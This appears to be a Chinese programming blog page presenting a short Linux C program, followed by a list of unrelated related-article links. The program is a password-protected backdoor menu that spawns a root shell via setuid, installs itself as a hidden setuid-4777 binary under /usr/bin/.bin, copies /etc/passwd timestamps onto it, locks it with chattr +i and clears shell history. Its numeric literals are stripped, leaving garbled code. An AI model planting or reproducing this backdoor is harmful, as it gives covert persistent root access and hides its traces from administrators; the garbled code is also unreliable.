Linux C语言小程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int compare(char*a,char*b)
{
if(strcmp(a,b)==)
return ;
else
return ;
}
int is_file_exist(const char*file_path)
{
if(file_path==NULL)
{
return -;
}
if(access(file_path,F_OK)==)
{
return ;
}
return -;
}
char *myFileBasePath="/usr/bin/.bin/bin";
char *password="";
char *mustFileName="./root";
int main(int argc,char** argv)
{
int errorTime=;
char typeCommandCode;
char what;
char *a=argv[];
if(compare(a,mustFileName)==){
printf("file path must be ./root\n");
return ;
}
while()
{
printf("please type your password:\n");
char *typePassword=(char*)malloc(sizeof(char));
scanf("%s",typePassword);
what=getchar();
if(compare(password,typePassword)==)
{
errorTime=;
printf("\n\n welcome you to login success! \n\n");
while()
{
system("clear");
printf("************************************************\n");
printf("* Welcome to use Blake System *\n");
printf("* 1----------------get root role *\n");
printf("* 2----------------check file *\n");
printf("* 3--------------- install command *\n");
printf("* 4----------------uninstall command *\n");
printf("* 5--------------- Exit *\n");
printf("* *\n");
printf("************************************************\n");
printf("please type your option:1-5\n");
typeCommandCode=getchar();
what=getchar();
if(typeCommandCode=='')
{
setuid();
setgid();
system("/bin/bash");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
if(is_file_exist(myFileBasePath)==)
{
printf("\n /usr/bin/.bin/bin you can find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else
{
printf("\n /usr/bin/.bin/bin you can't find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
else if(typeCommandCode=='')
{
system("mkdir /usr/bin/.bin");
system("mv root /usr/bin/.bin/bin");
system("chmod 4777 /usr/bin/.bin/bin");
system("touch -r /etc/passwd /usr/bin/.bin/");
system("touch -r /etc/passwd /usr/bin/.bin/bin");
system("chattr -R +i /usr/bin/.bin");
system("history -c");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
system("chattr -i /usr/bin/.bin/bin");
system("rm -rf /usr/bin/.bin");
printf("\n Press and key to Continue \n");
what=getchar();
continue; }else if(typeCommandCode==''){
printf("\n Press and key to Exit \n");
return ;
}
else
{
printf("\n can't find the option \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
}
else if(compare(password,typePassword)==)
{
printf("\n password error \n\n");
errorTime++;
if(errorTime==)
{
printf("\n\n error time too many, it will to exit! \n\n");
break;
return ;
}
}
}
}

Linux C语言小程序的更多相关文章

  1. Linux下简单C语言小程序的反汇编分析

    韩洋原创作品转载请注明出处<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 写在开始,本文为因为参加MOO ...

  2. 通过反汇编C语言小程序学习Liunx汇编语言

    大家好!    我是来自山东师范大学的吴乐.    今天在<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 ...

  3. c语言小程序以及java生成注释文档方法

    c语言小程序:sizeof和strlen() sizeof运算符以字节为单位给出数据的大小,strlen()函数以字符为单位给出字符串的长度,字符和字节不是一回事. char类型用于存储字母和标点符号 ...

  4. C语言小程序——推箱子(窄字符和宽字符)

    C语言小程序——推箱子(窄字符Version) 推箱子.c #include <stdio.h> #include <conio.h> #include <stdlib. ...

  5. 自动生成.py文件头部的C语言小程序

    每次都 vi xxx.py 然后再打 #!/usr/bin/env python 等等的程序头信息感觉有点麻烦,于是便想着写一个小程序自动生成这些头信息了,顺便在 ~/.bashrc 里写入 alia ...

  6. c语言小程序

    这是一个用c语言写的小程序,功能是随机输出30道100以内的四则运算,先生成两个随机数,再通过随机数确定四则运算符号,最后输出题目. #include<iostream> using na ...

  7. C语言小程序之整除

    看到有人要求用C语言写这样一个小程序,就拿来温习一下 需求:输出从1到2015这2015个自然数中,能被4或5整除,但不能被30整除的数,并计算有多少个数.   #include<stdio.h ...

  8. 第一次写C语言小程序,可以初步理解学生成绩管理系统的概念

    1 成绩管理系统概述 1.1  管理信息系统的概念  管理信息系统(Management Information Systems,简称MIS),是一个不断发展的新型学科,MIS的定义随着科技的进步也在 ...

  9. Linux中的小程序—— 进度条

    在说正事之前,首先科普一下在什么是回车什么是换行? 我们通常所说的回车就是从一行的末尾跳到另一行的开头,但事实上这却是由回车和换行两个动作所完成的,也就是键盘上<enter>所完成的工作. ...

随机推荐

  1. 相似qq的IM聊天应用源代码

    这个是IM聊天应用源代码,该应用IM支持实现XMPP,以及图片和表情,语音.消息回执等功能,基本覆盖了常见的im应用的功能了,大家能够參考一下吧. 源代码下载:http://code.662p.com ...

  2. Python面向对象编程 - 一个记事本程序范例(一)

    notebook.py import datetime last_id = 0 class Note: '''Represent a note in the notebook. Match again ...

  3. ubuntu server 安装 question2answer 及 汉化包

    ubuntu server 安装 question2answer 及 汉化包 question2answer 是一个非常简洁方便的问答系统,可以用它快速的部署一个问答社区,提高在开发中的交流沟通效率: ...

  4. 总结js(1)

    已经一个月没敲代码了,工作难找,挺烦. 先总结一下javascript吧. 1.js概述 2.语法结构 3.类型.值和变量 4.表达式和运算符 5.语句 6.对象 7.数组 8.函数 9.类和模块 1 ...

  5. 算法笔记_123:蓝桥杯第七届省赛(Java语言B组部分习题)试题解答

     目录 1 凑算式 2 方格填数 3 四平方和   1 凑算式 凑算式 B DEF A + --- + ------- = 10 C GHI (如果显示有问题,可以参见[图1.jpg]) 这个算式中A ...

  6. Performance Testing

    To test application performance, add rules using FiddlerScript to the OnBeforeResponse function (exc ...

  7. C/C++程序内存分类

    程序中内存分类主要有下面几种: (1)栈存储区:主要存储局部变量.函数參数.函数返回值等. 栈内存由编译器在须要时自己主动分配,使用完后自己主动释放. (2)堆存储区:由new.malloc申请到的空 ...

  8. sqlserver ssms ctrl+e快捷键问题

    大部分的环境 win2008R2+sqlserver2014R2  ssms 中 ctrl+e都是可以执行查询的,某些情况下,ctrl+e是个组合键 ctrl+e已按下,正在等待按下第二个键 调整方法 ...

  9. Stage3d AGAL GPU处理照片 旧照片效果 sepia || pixelbender

    如果看不到下边的flash,请更新flash player到最新版本. 利用AGAL实现旧照片效果,大家可以对照一下之前一篇文章,关于图像处理(pixelbender).硬件处理肯定会更快,但这里无法 ...

  10. css 设置英文字母大小写转换(text-transform)

      css 设置英文字母大小写转换 CreateTime--2018年5月25日07点16分 Author:Marydon 1.实现:通过text-transform实现 2.text-transfo ...